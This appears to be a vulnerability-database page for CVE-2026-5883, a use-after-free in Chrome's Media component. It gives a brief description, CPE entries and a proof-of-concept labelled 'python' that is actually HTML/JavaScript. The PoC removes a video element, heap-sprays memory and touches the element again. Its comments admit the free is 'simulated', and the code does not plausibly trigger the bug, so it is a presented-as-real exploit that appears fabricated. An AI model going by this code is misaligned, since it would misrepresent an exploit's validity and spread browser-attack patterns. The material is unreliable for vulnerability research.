Use after free in Media in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-5883: Use After Free in Chrome Media -->
<!-- This PoC demonstrates the trigger condition for the UAF vulnerability -->
<video id="target_video" src="exploit.webm"></video>
<script>
// Setup the media element
var video = document.getElementById('target_video');
video.play();
// Function to trigger the Use-After-Free condition
function trigger_uaf() {
// Step 1: Force the media object into a specific state
video.currentTime = 10.0;
// Step 2: Perform action that leads to object deletion (simulated)
// In a real scenario, this specific sequence triggers the free
video.remove();
// Step 3: Heap spray to reclaim the freed memory
// Allocating memory to occupy the space of the freed object
var spray = new Array(1000);
for (var i = 0; i < spray.length; i++) {
spray[i] = new Uint8Array(1024);
// Fill with payload pattern
spray[i].fill(0x41);
}
// Step 4: Attempt to access the freed object (Dangling pointer)
// This causes the crash or code execution
try {
console.log(video.readyState);
} catch (e) {
console.log("Exception triggered: " + e);
}
}
// Trigger with slight delay to allow rendering
setTimeout(trigger_uaf, 1000);
</script>